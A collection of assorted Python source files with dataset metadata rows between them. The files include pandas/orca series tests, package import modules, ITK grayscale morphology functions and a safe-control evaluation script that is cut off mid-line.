self.osla.ge(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_ne(self): # other = scalar value pc1 = self.psla.ne(3) oc1 = self.osla.ne(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.ne(self.pslb) oc2 = self.osla.ne(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_eq(self): # other = scalar value pc1 = self.psla.eq(3) oc1 = self.osla.eq(3).to_pandas() assert_series_equal(pc1, oc1) # other = Series pc2 = self.psla.eq(self.pslb) oc2 = self.osla.eq(self.oslb).to_pandas() assert_series_equal(pc2, oc2) def test_series_binary_operator_function_product(self): # TODO: orca.Series().prod() pc1 = pd.Series([1]).prod() # oc1 = orca.Series([1]).prod() # assert_series_equal(pc1, oc1) # # pc2 = pd.Series([]).prod() # oc2 = orca.Series([]).prod() # assert_series_equal(pc2, oc2) # # pc3 = pd.Series([np.nan]).prod() # oc3 = orca.Series([np.nan]).prod() # assert_series_equal(pc3, oc3) def test_series_binary_operator_function_dot(self): ps = pd.Series([0, 1, 2, 3]) psother = pd.Series([-1, 2, -3, 4]) os = orca.Series([0, 1, 2, 3]) osother = orca.Series([-1, 2, -3, 4]) # TODO: orca.Series().dot() # # dot with series # pc1 = ps.dot(psother) # pc2 = ps @ psother # oc1 = os.dot(osother) # oc2 = os @ osother # assert_series_equal(pc1, oc1) # assert_series_equal(pc2, oc2) # # # dot with dataframe # pdfn = pd.DataFrame([[0, 1], [-2, 3], [4, -5], [6, 7]]) # odfn = orca.DataFrame([[0, 1], [-2, 3], [4, -5], [6, 7]]) # pc1 = ps.dot(pdfn) # pc2 = ps @ pdfn # oc1 = os.dot(odfn) # oc2 = os @ odfn # assert_series_equal(pc1, oc1) # assert_series_equal(pc2, oc2) # # # dot with array # arr = np.array([[0, 1], [-2, 3], [4, -5], [6, 7]]) # pc1 = ps.dot(arr) # pc2 = ps @ arr # oc1 = os.dot(arr) # oc2 = os @ arr # assert_series_equal(pc1, oc1) # assert_series_equal(pc2, oc2) def test_series_function_application_groupby_window_ewm(self): ewmp = self.ps.ewm(com=0.5) ewmo = self.os.ewm(com=0.5) assert_series_equal(ewmp.mean(), ewmo.mean().to_pandas()) assert_series_equal(ewmp.std(), ewmo.std().to_pandas()) assert_series_equal(ewmp.var(), ewmo.var().to_pandas()) # TODO: pairwise # assert_series_equal(ewmp.corr(), ewmo.corr().to_pandas()) # assert_series_equal(ewmp.cov(), ewmo.cov().to_pandas()) ewmp = self.ps.ewm(span=5) ewmo = self.os.ewm(span=5) assert_series_equal(ewmp.mean(), ewmo.mean().to_pandas()) assert_series_equal(ewmp.std(), ewmo.std().to_pandas()) assert_series_equal(ewmp.var(), ewmo.var().to_pandas()) ewmp = self.ps.ewm(halflife=7) ewmo = self.os.ewm(halflife=7) assert_series_equal(ewmp.mean(), ewmo.mean().to_pandas()) assert_series_equal(ewmp.std(), ewmo.std().to_pandas()) assert_series_equal(ewmp.var(), ewmo.var().to_pandas()) ewmp = self.ps.ewm(alpha=0.2) ewmo = self.os.ewm(alpha=0.2) assert_series_equal(ewmp.mean(), ewmo.mean().to_pandas()) assert_series_equal(ewmp.std(), ewmo.std().to_pandas()) assert_series_equal(ewmp.var(), ewmo.var().to_pandas()) ewmp = self.ps.ewm(alpha=0.7, min_periods=2, adjust=False, ignore_na=True) ewmo = self.os.ewm(alpha=0.7, min_periods=2, adjust=False, ignore_na=True) assert_series_equal(ewmp.mean(), ewmo.mean().to_pandas()) assert_series_equal(ewmp.std(), ewmo.std().to_pandas()) assert_series_equal(ewmp.var(), ewmo.var().to_pandas()) def test_series_missing_data_handling_fillna(self): ps = pd.Series([np.nan, 2, 3, 4, np.nan, 6], name='x') os = orca.Series(ps).to_pandas() self.assertEqual(repr(os.fillna(0)), repr(ps.fillna(0))) os.fillna(0, inplace=True) ps.fillna(0, inplace=True) assert_series_equal(os, ps) def test_series_missing_data_handling_dropna(self): ps = pd.Series([np.nan, 2, 3, 4, np.nan, 6], name='x') os = orca.Series(ps) # TODO：NOT IMPLEMENTED # assert_series_equal(os.dropna().to_pandas(), ps.dropna()) # # os.dropna(inplace=True) # assert_series_equal(os.to_pandas(), ps.dropna()) def test_series_missing_data_handling_isnull(self): ps = pd.Series([1, 2, 3, 4, np.nan, 6], name='x') os = orca.Series(ps) self.assertEqual(repr(os.notnull().to_pandas()), repr(ps.notnull())) self.assertEqual(repr(os.isnull().to_pandas()), repr(ps.isnull())) ps = self.ps os = self.os self.assertEqual(repr(os.notnull().to_pandas()), repr(ps.notnull())) self.assertEqual(repr(os.isnull().to_pandas()), repr(ps.isnull())) def test_series_reshaping_sorting_sort_values(self): ps = pd.Series([1, 2, 3, 4, 5, None, 7], name='0') os = orca.Series([1, 2, 3, 4, 5, None, 7], name='0') # TODO: orca.Series object has no attribute 'sort_values' # self.assertEqual(repr(os.sort_values()), repr(ps.sort_values())) # self.assertEqual(repr(os.sort_values(ascending=False)), # repr(ps.sort_values(ascending=False))) # self.assertEqual(repr(os.sort_values(na_position='first')), # repr(ps.sort_values(na_position='first'))) # self.assertRaises(ValueError, lambda: os.sort_values(na_position='invalid')) # self.assertEqual(os.sort_values(inplace=True), ps.sort_values(inplace=True)) # assert_series_equal(os, ps) def test_series_combining_joining_merging_append(self): ps1 = pd.Series([1, 2, 3], name='0') ps2 = pd.Series([4, 5, 6], name='0') ps3 = pd.Series([4, 5, 6], index=[3, 4, 5], name='0') os1 = orca.Series(ps1) os2 = orca.Series(ps2) os3 = orca.Series(ps3) # TODO：NOT IMPLEMENTED # os1 = os1.append(os2) # ps1 = ps1.append(ps2) # ps1.equals(os1) # self.assertTrue(ps1.equals(os1)) # os1 = os1.append(os3) # ps1 = ps1.append(ps3) # self.assertTrue(ps1.equals(os1)) # os1 = os1.append(os2, ignore_index=True) # ps1 = ps1.append(ps2, ignore_index=True) # self.assertTrue(ps1.equals(os1)) # # os1.append(os3, verify_integrity=True) # msg = "Indices have overlapping values" # with self.assertRaises(ValueError, msg=msg): # os1.append(os2, verify_integrity=True) # def test_series_map(self): # pser = pd.Series(['cat', 'dog', None, 'rabbit']) # oser = orca.DataFrame(pser) # # Currently orca doesn't return NaN as Pandas does. # self.assertEqual( # repr(oser.map({})), # repr(pser.map({}).replace({pd.np.nan: None}).rename(0))) # # d = defaultdict(lambda: "abc") # self.assertTrue("abc" in repr(oser.map(d))) # self.assertEqual( # repr(oser.map(d)), # repr(pser.map(d).rename(0)))

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9,049

60,399

3.376064

0.031495

0.062193

0.017774

0.019771

0.876301

0.845041

0.809755

0.791195

0.78275

0.731588

0

0.076446

0.270567

60,399

1,454

117

41.53989

0.616973

0.227338

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0.5

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1

0.117128

false

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0.006297

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0.138539

0

null

0

1

0

null

0

6

6ef6e28e42fcf422390698ce89a082fcc6870fd8

2,120

py

Python

exkaldi/core/__init__.py

ikou-austin/exkaldi

437dd8a121baf8e682850374df3eade5ae53fda4

[ "Apache-2.0" ]

1

2020-10-14T13:55:53.000Z

exkaldi/core/__init__.py

ikou-austin/exkaldi

437dd8a121baf8e682850374df3eade5ae53fda4

[ "Apache-2.0" ]

null

exkaldi/core/__init__.py

ikou-austin/exkaldi

437dd8a121baf8e682850374df3eade5ae53fda4

[ "Apache-2.0" ]

null

from __future__ import absolute_import from exkaldi.core.archive import ListTable from exkaldi.core.archive import ArkIndexTable from exkaldi.core.archive import Transcription from exkaldi.core.archive import Metric from exkaldi.core.archive import WavSegment from exkaldi.core.archive import BytesFeature from exkaldi.core.archive import BytesCMVNStatistics from exkaldi.core.archive import BytesProbability from exkaldi.core.archive import BytesAlignmentTrans from exkaldi.core.archive import BytesFmllrMatrix from exkaldi.core.archive import NumpyFeature from exkaldi.core.archive import NumpyCMVNStatistics from exkaldi.core.archive import NumpyProbability from exkaldi.core.archive import NumpyAlignment from exkaldi.core.archive import NumpyAlignmentTrans from exkaldi.core.archive import NumpyAlignmentPhone from exkaldi.core.archive import NumpyAlignmentPdf from exkaldi.core.archive import NumpyFmllrMatrix from exkaldi.core.load import load_ali from exkaldi.core.load import load_feat from exkaldi.core.load import load_cmvn from exkaldi.core.load import load_prob from exkaldi.core.load import load_transcription from exkaldi.core.load import load_list_table from exkaldi.core.load import load_index_table from exkaldi.core.feature import compute_mfcc from exkaldi.core.feature import compute_fbank from exkaldi.core.feature import compute_plp from exkaldi.core.feature import compute_spectrogram from exkaldi.core.feature import transform_feat from exkaldi.core.feature import use_fmllr from exkaldi.core.feature import use_cmvn from exkaldi.core.feature import compute_cmvn_stats from exkaldi.core.feature import use_cmvn_sliding from exkaldi.core.feature import decompress_feat from exkaldi.core.feature import add_delta from exkaldi.core.feature import splice_feature from exkaldi.core.common import tuple_dataset from exkaldi.core.common import match_utterances from exkaldi.core.common import merge_archives from exkaldi.core.common import utt_to_spk from exkaldi.core.common import spk_to_utt from exkaldi.core.common import spk2utt_to_utt2spk from exkaldi.core.common import utt2spk_to_spk2utt

40

52

0.870283

303

2,120

5.960396

0.19802

0.267996

0.365449

0.219269

0.715393

0.285161

0.03876

0

0.002069

0.088208

2,120

52

53

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0

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true

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null

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null

0

1

0

1

0

1

0

6

3e28296b1c6e7ad3607aab1f1a8f5cf2cc1e25d0

43

py

Python

camelsplit/__init__.py

flopp/camelsplit

2383b3781e078f421b6f3ab58aca2d62bfb30c8b

[ "MIT" ]

2

2020-02-09T16:05:53.000Z

2021-05-18T08:29:36.000Z

camelsplit/__init__.py

flopp/camelsplit

2383b3781e078f421b6f3ab58aca2d62bfb30c8b

[ "MIT" ]

null

camelsplit/__init__.py

flopp/camelsplit

2383b3781e078f421b6f3ab58aca2d62bfb30c8b

[ "MIT" ]

null

from .camelsplit import camelsplit # noqa

21.5

42

0.790698

5

43

6.8

0.8

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43

1

43

0.944444

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0

true

0

1

0

1

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1

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null

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1

0

null

0

1

0

1

0

1

0

6

3e4b013d4e831bc7045491b11998a3988ad9886a

41

py

Python

example_pkg_py/a2.py

Ar-Ray-code/rclpy_separate_example

6514197537555460037ce35272fa48a0655467f8

[ "Apache-2.0" ]

null

example_pkg_py/a2.py

Ar-Ray-code/rclpy_separate_example

6514197537555460037ce35272fa48a0655467f8

[ "Apache-2.0" ]

null

example_pkg_py/a2.py

Ar-Ray-code/rclpy_separate_example

6514197537555460037ce35272fa48a0655467f8

[ "Apache-2.0" ]

null

def hello2(): print("Hello! I'm A2.")

20.5

27

0.560976

7

41

3.285714

1

0

0.060606

0.195122

41

2

27

20.5

0.636364

0

0.333333

0

1

0.5

true

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

6

3e8eba9459eb57ec30676e9b58ba05a91a536734

166

py

Python

galaxy/cartography/__init__.py

damienlancry/galaxy

b9445b1caae64aa77686ba145cd759fcf7158f08

[ "MIT" ]

null

galaxy/cartography/__init__.py

damienlancry/galaxy

b9445b1caae64aa77686ba145cd759fcf7158f08

[ "MIT" ]

null

galaxy/cartography/__init__.py

damienlancry/galaxy

b9445b1caae64aa77686ba145cd759fcf7158f08

[ "MIT" ]

null

from .spotify_cartographer import SpotifyCartographer from .youtube_cartographer import YoutubeCartographer __all__ = ["YoutubeCartographer", "SpotifyCartographer"]

33.2

56

0.861446

13

166

10.538462

0.615385

0.262774

0

0.078313

166

4

57

41.5

0.895425

0

0.228916

0

1

0

false

0

0.666667

0

0.666667

0

1

0

1

null

1

0

1

0

null

0

1

0

1

0

6

e4a77720a1c59e064f21cd64aa79ae0bec14002b

378

py

Python

gdalutils/__init__.py

jsosa/gdalutils

00275cb7415565042511c33f387cad1a90d5e3de

[ "BSD-3-Clause" ]

1

2021-02-04T15:55:29.000Z

gdalutils/__init__.py

jsosa/gdalutils

00275cb7415565042511c33f387cad1a90d5e3de

[ "BSD-3-Clause" ]

null

gdalutils/__init__.py

jsosa/gdalutils

00275cb7415565042511c33f387cad1a90d5e3de

[ "BSD-3-Clause" ]

1

2021-04-08T13:22:35.000Z

from .core import get_dataxy from .core import get_data from .core import get_geo from .core import clip_raster from .core import write_raster from .core import pandas_to_array from .core import pandas_to_raster from .core import points_to_geopandas from .core import array_to_pandas from .core import raster_to_pandas from .core import assign_val from .extras import haversine

29.076923

37

0.84127

64

378

4.71875

0.296875

0.291391

0.509934

0.168874

0.291391

0

0.126984

378

12

38

31.5

0.915152

0

1

0

true

0

1

0

1

0

null

1

0

null

0

1

0

1

0

1

0

6

9048410a73cf63af045fbdbde34b9400153b2beb

69

py

Python

aplpy/setup_package.py

nbrunett/aplpy

f5d128faf3568adea753d52c11ba43014d25d90a

[ "MIT" ]

null

aplpy/setup_package.py

nbrunett/aplpy

f5d128faf3568adea753d52c11ba43014d25d90a

[ "MIT" ]

null

aplpy/setup_package.py

nbrunett/aplpy

f5d128faf3568adea753d52c11ba43014d25d90a

[ "MIT" ]

1

2018-02-26T03:04:19.000Z

def get_package_data(): return {'aplpy.tests': ['data/*/*.hdr']}

23

44

0.608696

9

69

4.444444

0.888889

0

0.130435

69

2

45

34.5

0.666667

0

0.333333

0

1

0.5

true

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

5f3aa521fd282dfe059b73d5c7bf13c751510490

43

py

Python

asteroid/filterbanks/stft_fb.py

julien-c/asteroid

77d1b744017408b8bf4f1812e949c3c3aa4b16d3

[ "MIT" ]

1

2021-02-22T21:55:40.000Z

asteroid/filterbanks/stft_fb.py

julien-c/asteroid

77d1b744017408b8bf4f1812e949c3c3aa4b16d3

[ "MIT" ]

null

asteroid/filterbanks/stft_fb.py

julien-c/asteroid

77d1b744017408b8bf4f1812e949c3c3aa4b16d3

[ "MIT" ]

1

2021-04-29T01:52:37.000Z

from asteroid_filterbanks.stft_fb import *

21.5

42

0.860465

6

43

5.833333

1

0

0.093023

43

1

43

0.897436

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

5fa076115c3482d09134b92ae221f6197657246e

515

py

Python

IPython/utils/tests/test_imports.py

pyarnold/ipython

c4797f7f069d0a974ddfa1e4251c7550c809dba0

[ "BSD-3-Clause-Clear" ]

1

2020-12-18T01:07:55.000Z

IPython/utils/tests/test_imports.py

pyarnold/ipython

c4797f7f069d0a974ddfa1e4251c7550c809dba0

[ "BSD-3-Clause-Clear" ]

null

IPython/utils/tests/test_imports.py

pyarnold/ipython

c4797f7f069d0a974ddfa1e4251c7550c809dba0

[ "BSD-3-Clause-Clear" ]

null

# encoding: utf-8 def test_import_coloransi(): from IPython.utils import coloransi def test_import_generics(): from IPython.utils import generics def test_import_ipstruct(): from IPython.utils import ipstruct def test_import_PyColorize(): from IPython.utils import PyColorize def test_import_rlineimpl(): from IPython.utils import rlineimpl def test_import_strdispatch(): from IPython.utils import strdispatch def test_import_wildcard(): from IPython.utils import wildcard

17.166667

41

0.770874

66

515

5.80303

0.242424

0.127937

0.237598

0.402089

0

0.002336

0.168932

515

29

42

17.758621

0.892523

0.029126

0

1

0.5

true

0

1

0

1.5

0

null

0

1

0

null

0

1

0

1

0

1

0

6

396b885b1aee6255e728e14ce7bbe19bab7c4071

104

py

Python

tests/fixtures/alert.py

Sheshtawy/hawkeye

3f8a6002ec56edc6d60d0fb87aa6b7ee56ccfb14

[ "MIT" ]

1

2017-08-08T14:30:36.000Z

tests/fixtures/alert.py

Sheshtawy/hawkeye

3f8a6002ec56edc6d60d0fb87aa6b7ee56ccfb14

[ "MIT" ]

45

2017-08-22T13:01:51.000Z

2017-12-12T12:19:14.000Z

tests/fixtures/alert.py

Sheshtawy/hawkeye

3f8a6002ec56edc6d60d0fb87aa6b7ee56ccfb14

[ "MIT" ]

null

import pytest from hawkeye.alert import Alert @pytest.fixture def alert(): return Alert('cpu', 20)

14.857143

31

0.730769

15

104

5.066667

0.666667

0

0.022989

0.163462

104

6

32

17.333333

0.850575

0

0.028846

0

1

0.2

true

0

0.4

0.2

0.8

0

1

0

null

0

1

0

null

0

1

0

1

0

6

39b7468f13d7ac70b5911f60e6bc0c446aab692d

8,157

py

Python

plugins/morphology/grayscale.py

bsavelev/medipy

f0da3750a6979750d5f4c96aedc89ad5ae74545f

[ "CECILL-B" ]

null

plugins/morphology/grayscale.py

bsavelev/medipy

f0da3750a6979750d5f4c96aedc89ad5ae74545f

[ "CECILL-B" ]

null

plugins/morphology/grayscale.py

bsavelev/medipy

f0da3750a6979750d5f4c96aedc89ad5ae74545f

[ "CECILL-B" ]

1

2022-03-04T05:47:08.000Z

########################################################################## # MediPy - Copyright (C) Universite de Strasbourg, 2011 # Distributed under the terms of the CeCILL-B license, as published by # the CEA-CNRS-INRIA. Refer to the LICENSE file or to # http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html # for details. ########################################################################## import itk import medipy.itk from structuring_element import name_to_structuring_element def erode(input, *args, **kwargs): """ Gray-scale erosion of an image using a name of a structuring element and a radius, or a structuring element. <gui> <item name="input" type="Image" label="Input"/> <item name="shape" type="Enum" initializer="('ball', 'box','cross')" label="Shape"/> <item name="radius" type="Int" initializer="1" label="Radius"/> <item name="output" type="Image" initializer="output=True" role="return" label="Output"/> </gui> """ if len(args) == 1 : return erode_se(input, *args) elif len(args) == 2 : return erode_shape_and_radius(input, *args) elif len(args) == 0 : if "shape" in kwargs : return erode_shape_and_radius(input, **kwargs) elif "structuring_element" in kwargs : return erode_se(input, **kwargs) else : raise Exception("Incorrect parameters") else : raise Exception("Incorrect parameters") def erode_shape_and_radius(input, shape, radius): """ Gray-scale erosion of an image using a name of a structuring element and a radius """ structuring_element = name_to_structuring_element(shape, input.ndim, radius) return erode_se(input, structuring_element) def erode_se(input, structuring_element): """ Gray-scale erosion of an image using a structuring element. """ itk_input = medipy.itk.medipy_image_to_itk_image(input, False) filter = itk.GrayscaleErodeImageFilter[itk_input, itk_input, structuring_element].New( Input=itk_input, Kernel=structuring_element) itk_output = filter()[0] output = medipy.itk.itk_image_to_medipy_image(itk_output, None, True) return output def dilate(input, *args, **kwargs): """ Gray-scale dilation of an image using a name of a structuring element and a radius, or a structuring element. <gui> <item name="input" type="Image" label="Input"/> <item name="shape" type="Enum" initializer="('ball', 'box','cross')" label="Shape"/> <item name="radius" type="Int" initializer="1" label="Radius"/> <item name="output" type="Image" initializer="output=True" role="return" label="Output"/> </gui> """ if len(args) == 1 : return dilate_se(input, *args) elif len(args) == 2 : return dilate_shape_and_radius(input, *args) elif len(args) == 0 : if "shape" in kwargs : return dilate_shape_and_radius(input, **kwargs) elif "structuring_element" in kwargs : return dilate_se(input, **kwargs) else : raise Exception("Incorrect parameters") else : raise Exception("Incorrect parameters") def dilate_shape_and_radius(input, shape, radius): """ Gray-scale dilation of an image using a name of a structuring element and a radius """ structuring_element = name_to_structuring_element(shape, input.ndim, radius) return dilate_se(input, structuring_element) def dilate_se(input, structuring_element): """ Gray-scale dilation of an image using a structuring element. """ itk_input = medipy.itk.medipy_image_to_itk_image(input, False) filter = itk.GrayscaleDilateImageFilter[itk_input, itk_input, structuring_element].New( Input=itk_input, Kernel=structuring_element) itk_output = filter()[0] output = medipy.itk.itk_image_to_medipy_image(itk_output, None, True) return output def open(input, *args, **kwargs): """ Gray-scale opening of an image using a name of a structuring element and a radius, or a structuring element. <gui> <item name="input" type="Image" label="Input"/> <item name="shape" type="Enum" initializer="('ball', 'box','cross')" label="Shape"/> <item name="radius" type="Int" initializer="1" label="Radius"/> <item name="output" type="Image" initializer="output=True" role="return" label="Output"/> </gui> """ if len(args) == 1 : return open_se(input, *args) elif len(args) == 2 : return open_shape_and_radius(input, *args) elif len(args) == 0 : if "shape" in kwargs : return open_shape_and_radius(input, **kwargs) elif "structuring_element" in kwargs : return open_se(input, **kwargs) else : raise Exception("Incorrect parameters") else : raise Exception("Incorrect parameters") def open_shape_and_radius(input, shape, radius): """ Gray-scale opening of an image using a name of a structuring element and a radius """ structuring_element = name_to_structuring_element(shape, input.ndim, radius) return open_se(input, structuring_element) def open_se(input, structuring_element): """ Gray-scale opening of an image using a structuring element. """ itk_input = medipy.itk.medipy_image_to_itk_image(input, False) erode_filter = itk.GrayscaleErodeImageFilter[itk_input, itk_input, structuring_element].New( Input=itk_input, Kernel=structuring_element) dilate_filter = itk.GrayscaleDilateImageFilter[itk_input, itk_input, structuring_element].New( Input=erode_filter[0], Kernel=structuring_element) itk_output = dilate_filter()[0] output = medipy.itk.itk_image_to_medipy_image(itk_output, None, True) return output def close(input, *args, **kwargs): """ Gray-scale closing of an image using a name of a structuring element and a radius, or a structuring element. <gui> <item name="input" type="Image" label="Input"/> <item name="shape" type="Enum" initializer="('ball', 'box','cross')" label="Shape"/> <item name="radius" type="Int" initializer="1" label="Radius"/> <item name="output" type="Image" initializer="output=True" role="return" label="Output"/> </gui> """ if len(args) == 1 : return close_se(input, *args) elif len(args) == 2 : return close_shape_and_radius(input, *args) elif len(args) == 0 : if "shape" in kwargs : return close_shape_and_radius(input, **kwargs) elif "structuring_element" in kwargs : return close_se(input, **kwargs) else : raise Exception("Incorrect parameters") else : raise Exception("Incorrect parameters") def close_shape_and_radius(input, shape, radius): """ Gray-scale closing of an image using a name of a structuring element and a radius """ structuring_element = name_to_structuring_element(shape, input.ndim, radius) return close_se(input, structuring_element) def close_se(input, structuring_element): """ Gray-scale closing of an image using a structuring element. """ itk_input = medipy.itk.medipy_image_to_itk_image(input, False) dilate_filter = itk.GrayscaleDilateImageFilter[itk_input, itk_input, structuring_element].New( Input=itk_input, Kernel=structuring_element) erode_filter = itk.GrayscaleErodeImageFilter[itk_input, itk_input, structuring_element].New( Input=dilate_filter[0], Kernel=structuring_element) itk_output = erode_filter()[0] output = medipy.itk.itk_image_to_medipy_image(itk_output, None, True) return output

38.842857

98

0.625843

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8,157

5.019309

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0.182223

0.061551

0.034015

0.927921

0.880948

0.852602

0.836404

0.775461

0

0.004407

0.248866

8,157

209

99

39.028708

0.801697

0.323648

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0.601942

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false

0

0.029126

0

0.378641

0

null

0

1

0

null

0

6

39d84094f92a331a7281c05c5714fcca5f49c6ff

159

py

Python

codes_/0709_To_Lower_Case.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

codes_/0709_To_Lower_Case.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

codes_/0709_To_Lower_Case.py

SaitoTsutomu/leetcode

4656d66ab721a5c7bc59890db9a2331c6823b2bf

[ "MIT" ]

null

# %% [709. To Lower Case](https://leetcode.com/problems/to-lower-case/) class Solution: def toLowerCase(self, str: str) -> str: return str.lower()

31.8

71

0.647799

22

159

4.681818

0.681818

0.135922

0.213592

0

0.022901

0.176101

159

4

72

39.75

0.763359

0.433962

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

39e4dfcc1a8074fe3683360181257d9481806b01

92

py

Python

modules/services/__init__.py

vladimir2240/orders_searcher

dac5143ec882f84ba263b5dd5a5eca1891051f3e

[ "MIT" ]

null

modules/services/__init__.py

vladimir2240/orders_searcher

dac5143ec882f84ba263b5dd5a5eca1891051f3e

[ "MIT" ]

null

modules/services/__init__.py

vladimir2240/orders_searcher

dac5143ec882f84ba263b5dd5a5eca1891051f3e

[ "MIT" ]

null

from .binance_handler import BinanceHandler from .binance_websocket import BinanceWsWorkers

30.666667

47

0.891304

10

92

8

0.7

0.275

0

0.086957

92

2

48

46

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

841d430b2634225f60f9d52d948e35f4f9024496

101

py

Python

Nurture/server/notification/nurture/learning/agents/classification/__init__.py

nesl/EngagementService

bb8dc5a58d2038ace6467bfbcf4d253680628f67

[ "BSD-3-Clause" ]

null

Nurture/server/notification/nurture/learning/agents/classification/__init__.py

nesl/EngagementService

bb8dc5a58d2038ace6467bfbcf4d253680628f67

[ "BSD-3-Clause" ]

null

Nurture/server/notification/nurture/learning/agents/classification/__init__.py

nesl/EngagementService

bb8dc5a58d2038ace6467bfbcf4d253680628f67

[ "BSD-3-Clause" ]

null

from .svm_clf import SVMClassifier from .rf_clf import RFClassifier from .nn_clf import NNClassifier

25.25

34

0.851485

15

101

5.533333

0.6

0.325301

0

0.118812

101

3

35

33.666667

0.932584

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

84264af413796f3498efbfa6d6aa0d66e36c19c8

243

py

Python

src/safegraph_eval/__init__.py

echong-SG/safegraph_eval

8a0f3a2b3098885cbb1e6579f9de01a83779e223

[ "Apache-2.0" ]

null

src/safegraph_eval/__init__.py

echong-SG/safegraph_eval

8a0f3a2b3098885cbb1e6579f9de01a83779e223

[ "Apache-2.0" ]

null

src/safegraph_eval/__init__.py

echong-SG/safegraph_eval

8a0f3a2b3098885cbb1e6579f9de01a83779e223

[ "Apache-2.0" ]

1

2021-12-30T19:43:57.000Z

all = ['ingest', 'preprocessing', 'plotting', 'geometry'] from safegraph_eval.ingest import ingest from safegraph_eval.preprocessing import preprocessing from safegraph_eval.plotting import plotting from safegraph_eval.geometry import geometry

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6

842f375fdb4cb82f8998353379107e5dc35d89b0

6,356

py

Python

src/leaderboard.py

intelligent-control-lab/BIS

7df10426373696093271e9afcae0c7e8fa7be0f4

[ "MIT" ]

10

2019-07-06T06:11:45.000Z

2021-06-23T06:07:38.000Z

src/leaderboard.py

intelligent-control-lab/BIS

7df10426373696093271e9afcae0c7e8fa7be0f4

[ "MIT" ]

null

src/leaderboard.py

intelligent-control-lab/BIS

7df10426373696093271e9afcae0c7e8fa7be0f4

[ "MIT" ]

6

2019-09-09T00:47:40.000Z

2021-09-11T12:32:06.000Z

from roc_curve import roc_curve import numpy as np import matplotlib # matplotlib.use("TkAgg") import matplotlib.pyplot as plt def leaderboard(): """ This function call evaluate() function to test algorithms on given parameter ranges. Parameter ranges are related to models. The parameters will be grid searched for each algorithms, and generate the roc curve by a convex hull to cover all results on the safety-efficiency plot. """ # models = ['Ball3D'] # settings = [ \ # # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ('PotentialField', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 2], 'c1': [1, 3, 5]}),\ # ] # roc_curve(models, settings, True) # models = ['Unicycle'] # settings = [ \ # # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # # ('SublevelSafeSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # ('PotentialField', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 2], 'c1': [1, 3, 5]}),\ # ] # roc_curve(models, settings, True) models = ['SCARA'] settings = [ \ ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ ('SublevelSafeSet', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ ('ZeroingBarrierFunction', {'d_min': [2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 2, 5, 10]}),\ ('PotentialField', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 2], 'c1': [1, 3, 5]}),\ ] roc_curve(models, settings, True) # models = ['RobotArm'] # settings = [ \ # # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('SafeSet', {'d_min': [1, 1.5, 2, 2.5, 3], 'yita': [1, 2, 4, 8], 'k_v': [1, 1.5, 2]}),\ # # ('SafeSublevelSet', {'d_min': [1, 2], 'k_v': [0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10]}),\ # # ('ZeroingBarrierFunction', {'d_min': [1, 2, 3, 4], 't':[0.5, 1, 2, 5], 'gamma':[0.1, 1, 5]}),\ # # ('SublevelSafeSet', {'d_min': [1, 2, 3], 'k_v': [0.25, 0.5, 1, 1.5, 2], 'gamma':[1, 2, 5, 10, 20, 50, 100, 200]}),\ # ('PotentialField', {'d_min': [1, 2, 3], 'k_v': [0.5, 1, 2], 'c1': [1, 3, 5]}),\ # ] # roc_curve(models, settings, True) # fig, axs =plt.subplots(len(models)+1,1) # for i,model in enumerate(models): # print(i, model) # algs = list(ret[model].keys()) # # safe = [x['safety'] for x in ret[model].values()] # # effi = [x['efficiency'] for x in ret[model].values()] # auc = list(ret[model].values()) # table = np.vstack([algs, auc]).T # collabel=("Algorithm", "AUC") # the_table = axs[i].table(cellText=table,colLabels=collabel,loc='center') # plt.show() # models = ['Ball3D'] # settings = [ \ # ('SlidingMode', {'d_min': [1, 1.5, 2, 2.5, 3], 'k_v': [1, 1.5, 2], 'u_p': [1, 5, 10]}),\ # ('PotentialField', {'d_min': [1, 